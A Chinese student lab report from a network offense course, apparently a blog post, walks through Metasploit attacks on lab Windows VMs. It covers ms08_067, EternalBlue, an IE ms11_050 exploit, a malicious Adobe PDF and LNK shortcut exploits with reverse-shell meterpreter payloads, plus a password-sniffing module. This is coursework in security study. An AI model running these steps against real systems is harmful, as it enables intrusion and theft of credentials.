• 2018-2019-2 20165114《网络对抗技术》Exp5 MSF基础应用


    Exp5 MSF基础应用

    目录


    一、实验目标

    本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

    1.1一个主动攻击实践,如ms08_067; (1分)

    1.2 一个针对浏览器的攻击,如ms11_050;(1分)

    1.3 一个针对客户端的攻击,如Adobe;(1分)

    1.4 成功应用任何一个辅助模块。(0.5分)

    以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。


    二、基础问题回答

    用自己的话解释什么是exploit,payload,encode.

    • exploit:是一种利用了漏洞将payload放入靶机中执行的代码模块,主要的作用是针对漏洞进行攻击,前无声息的进入到靶机中,是一个攻击的流程性代码。
    • payload:真正在靶机中执行的代码或者指令,在exploit的帮助下进入目标主机,然后获得shell等等。
    • encode:将payload中的一些坏字符进行编码修改,使之能够使用的代码。或者能够加密payload,使之躲避AV检查的模块。

    一些基础命令和使用说明:

    connect:可以做端口侦听, 也可以连接目标服务器指定端口;

    show: 按两次Tab键 可以查看各类模块, show all则是列出所有模块,例我们查看exploits 则可以通过show exploits里具体可以使用的模块....;

    search: 搜索模块.可以根据文件名,文件类型等指定参数搜索. 具体参数 search -h;

    use: 后面跟模块地址 进入某个指定模块的上下文;

    info : 查看模块说明 ,包括简介,版本,作者,作者联系方式,使用参数说明等;

    show options: 参数配置, Required 为yes则是必需指定的参数, Current Setting为默认参数.;
    show targets: 查看可以使用哪些targets;

    show payloads: 查看当前模块适用的payloads. 如果在某一个模块下进行show
    payloads 则显示当前模块下的payloads,并不是全局的payloads;

    show advanced: 显示高级参数;

    show missing: 查看哪些必需设置的参数没有设置;

    edit: 对当前脚本文件 进行二次编辑修改;

    check: 检验漏洞存不存在. 不对漏洞进行利用;(部分模块适用)

    bank: 返回到全局环境;

    run || exploit : 运行模块;

    creds: 获取模块的结果;

    vulns: 获取扫描的漏洞信息;

    loot : 查看加密值;  

    set: 设置某一个参数;


    三、实验过程记录

    3.1 主动攻击实践

    • 漏洞:exploit/windows/smb/ms08_067_netapi
    • payload:generic/shell reverse_tcp
    • 靶机:windows XP SP3

    (1)search ms08_067,搜寻关于该漏洞的exploit,此处只有一个。
    (2)使用这个exploit:use exploit/windows/smb/ms08_067_netapi
    (3)接下来选择一个payload,可以show payloads 看一下.

    (4)我选择了payload:generic/shell reverse_tcp
    (5)接下来填入参数,如果要求了required,那就是一定要填的参数,其余的可不填。
    (6)填完了参数后,exploit,运行看看。
    (7)可以看到sesion 1 opened,说明成功了!

    输入命令systeminfo,查看靶机的信息。

    返回目录


    • 漏洞:ms17_010_eternalbule
    • payload: windows/x64/meterpreter/reverse_tcp
    • 靶机:windows server 2008 R2

    (1)search ms17_010

    (2)使用辅助模块来扫描一下靶机是否有这个漏洞:use auxiliary/scanner/smb/smb_ms17_010
    (3)设置靶机的IP地址:set rhost 192.168.1.212

    扫描结果显示:该靶机十分容易收到该漏洞攻击~
    (4)使用payload: windows/x64/meterpreter/reverse_tcp
    (5)输入命令:options,看看参数和靶机。
    (6)根据options设置必须的参数。

    (7)exploit,会看到出现了很多东西。

    (8)最后最后,看见win 了,成功,session也出现啦!

    返回目录


    3.2针对浏览器的攻击

    • exploit:windows/browser/ms11_050_mshtml_cobjectelement
    • payload: windows/meterpreter/reverse_tcp
    • 靶机:windows XP SP3 + IE 7

    (1)使用该exploit:use exploit/windows/browser/ms11_050_mshtml_cobjectelement
    (2)输入命令:info,看一看关于该exploit的信息,可用的靶机和需要的参数等。

    (3)看看它的描述,了解它的用途。

    (4)输入命令选择payload:set payload windows/meterpreter/reverse_tcp .

    (5)根据具体信息设置各个对应参数。
    (6)输入命令:exploit ,出现一个URL,将这个链接复制到靶机中用IE7.0打开。

    (7)然后就可以发现,session+id已经opened了。这里由于比较卡,我就反复刷新链接,还用另一个靶机试了试,导致了,建立了好几个会话。事实上,如果没反应可以再耐心等待一会儿,只需要建立一个session其实就可以了。
    (8)sessions -l ,列出所有的会话。
    (9)sessions -i +id,连接这个会话。

    (10)可以发现成功了~~~

    返回目录


    3.3针对客户端的攻击

    • exploit:windows/fileformat/adobe_cooltype_sing
    • payload: windows/meterpreter/reverse_tcp
    • 靶机:windows XP SP3 + 9.3.3的Adobe Reader

    实验之前需要对靶机进行配置,安装好9.3.3的Adobe Reader,并取消自动更新软件。(花了很长时间)

    (1)和之前一样,需要use exploit/windows/fileformat/adobe_cooltype_sing
    (2)info看看信息描述,了解下怎么用,可以看到对与版本8.2.4和9.3.4的Adobe Reader 是可以成功的。

    (3)set payload windows/meterpreter/reverse_tcp
    (4)改一下生成的pdf的文件的名字:set FILENAME 5114.pdf.
    (5)exploit,看到了这个pdf以及其存放位置。

    (6)然后输入back,返回,使用exploit/multi/hander进行监听。
    (7)同样需要设置payload和配置参数。
    (8)set payload windows/meterpreter/reverse_tcp .

    (9)再次exploit,运行看看。
    (10)此时再将文件5114.pdf放到靶机上,并用Adobe Reader 9.3.3打开,如图所示:

    (11)返回kali,可以看到sesion 2 opened,说明成功了!

    (12)如果在靶机关掉该pdf文件,则主机也会失去会话.


    • 漏洞:ms10_046_shortcut_icon_dllloader
    • payload: windows/meterpreter/reverse_tcp
    • 靶机:windows XP SP3

    (1)使用这个exploit:use exploit/windows/smb/ms10_046_shortcut_icon_dllloader
    (2)set payload windows/meterpreter/reverse_tcp

    (3)配置好靶机IP地址和攻击机IP地址和端口等。

    (4)exploit,生成了一个lnk类型的文件msf.lnk

    (5)将这个文件msf.lnk传送或者复制到靶机中。

    (6)点击并运行这个文件,返回Kali可以看到正在建立连接,meterpreter session 1 opened
    (7)sessions -l ,列出所有的会话。
    (8)sessions -i 1,连接这个会话。
    (9)成功了~~~

    返回目录


    • 漏洞:ms15_020_shortcut_icon_dllloader

    • payload

      • windows/meterpreter/reverse_tcp
      • windows/shell/reverse_tcp
      • windows/upexec/bind_tcp
    • 靶机:windows XP SP2

    • 此模块利用MS10-046修补程序中的漏洞滥用(再次)处理包含指向恶意DLL的图标资源的Windows快捷方式文件(.LNK)。这将创建SMB资源以提供有效负载和触发器,并生成必须发送到目标的LNK文件。此模块已在安装了MS10-046的Windows 2003 SP2和安装了MS14-027的Windows 2008 SP2(32位)上成功测试。

    (1)和之前步骤相同:use exploit/windows/smb/ms15_020_shortcut_icon_dllloader,info看一看详细信息。

    (2)可以在如图的网址中获得更多的详细信息:

    (3)set payload windows/meterpreter/reverse_tcp

    (4)常规配置,可以将该文件改名,此处我改为20165114.lnk
    (5)exploit,生成文件,将文件20165114.lnk复制到靶机上,然后运行它。

    (6)顺利连上了session。

    (7)接下来我们可以试着换一个payload试试。
    (8)set payload windows/shell/reverse_tcp
    (9)参数的配置略有不同,但也很简单,配置完后可以直接exploit

    (10)和之前一样,生成文件并复制到靶机上运行。
    (11)建立会话并开始会话后,成功获得shell。

    (12)换一个名为windows/upexec/bind_tcp的payload试试看。
    (13)需要填一个名为PEXEC的参数,后面的解释说对这个文件加载和执行的完整地址,其实我不是很明白是什么意思。

    (14)试着填一下set PEXEC /root ,看看能不能成功。后来生成文件没有问题,但是在靶机上运行kali也没有反应。猜测估计与参数PEXEC有关系,暂时还没有成功解决这个问题。

    返回目录


    3.4辅助模块的应用

    密码嗅探模块auxiliary/sniffer/psnuffle

    • 目前支持pop3.imap.ftp.http GET协议
    • 支持从pcap抓包文件中提取密码,功能类似于dnsiff。
    • 这个模块我们可以什么都不用配置,默认抓取本机的流量.
    • 支持分析抓包文件嗅探. 使用set PCAPFILE 导入文件即可.
    • 查看结果可以使用jobs. 删除结果可以使用kill 加上对应的jobs id值.

    (1)使用这个模块:use auxiliary/sniffer/psnuffle
    (2)照例查看一下info。

    (3)参数PCAPFILE就是可以设置为分析的包文件名字,可以直接对抓好的包提取密码。
    (4)exploit一下,可以看到抓到了很多流量。

    (5)登陆一个叫天翼快递的网站,然后输入用户名密码,如果是GET类型的HTTP可以解析出用户名密码。

    (6)抓到了这个数据包,但是是POST类型的,无法成功解析。

    (7)下图是wireshark抓到的含有用户名和密码的数据包。

    UDP服务扫描模块:auxiliary/scanner/discovery/udp_sweep

    • UDP服务扫描模块运行我们检测模板系统的UDP服务。由于UDP是一个无连接协议(不面向连接),所以探测比TCP困难。使用UDP服务探测模块可以帮助我们找到一些有用的信息。
      (1)使用这个模块:use auxiliary/scanner/discovery/udp_sweep
      (2)info看一下信息、参数。

    (3)设置扫描的靶机的范围:set RHOSTS 192.168.1.1/24
    (4)run,扫描结果就出来了。

    四、实践总结和体会

    • 此次实验我做了比较久,主要在对于靶机的配置上。对于不熟悉的漏洞,不知道如何使用和配置对应的靶机;也花了很多时间去寻找和配置漏洞需要的靶机;在实验过程中,我看到了很多exploit、payload、auxiliary,熟悉的和不熟悉……。在不断尝试的过程中,发现这些漏洞针对着不同的系统和环境,也明白了软件和系统的更新十分重要,利用漏洞和带有漏洞的一些软件等,悄无声息地入侵目标主机。且这种攻击都十分广泛,很多知名地软件都存在严重漏洞,如果不及时更新的话,很容易收到攻击。
    • 我也理解了漏洞和exploit有关,而payload是可以与各种exploit配合使用的,auxiliary是执行信息收集、枚举、扫描等的辅助模块,是没有payload的模块。

    五、离实战还缺些什么步骤

    • 需要和目标主机在同一网段,才能攻击成功。
    • 需要目标主机有合适的配置和环境,比如说需要装有有漏洞的软件,成功诱导用户打开某由exploit和payload生成的链接、恶意文件等等。
    • 对目标主机开放的端口等等进行扫描,了解目标主机的系统信息等。
    • 要想真正侵入目标主机,现在已经非常不容易了,因为现在的系统和软件,一旦发现漏洞就会打上补丁等等,需要新型的,不被大家所知的新漏洞,才能更加顺利入侵目标系统。
  • 相关阅读:
    vue2.0:(三)、项目开始,首页入门(main.js,App.vue,importfrom)
    vue2.0:(二)、mock数据
    sublime text less安装踩坑图文讲解(less无法生成css)
    vue2.0:(一)、vue的安装和项目搭建(以外卖app项目举例)
    移动端开发(二)(初级入门)
    移动端开发(一)(初级入门)
    git与GitHub(二)
    git与GitHub(一)
    项目心得1
    MIPS(极路由1s[mt7620a])平台OpenWrt路由器系统内的Go应用程序开发
  • 原文地址:https://www.cnblogs.com/erinwhere/p/10743691.html
Copyright © 2020-2023  润新知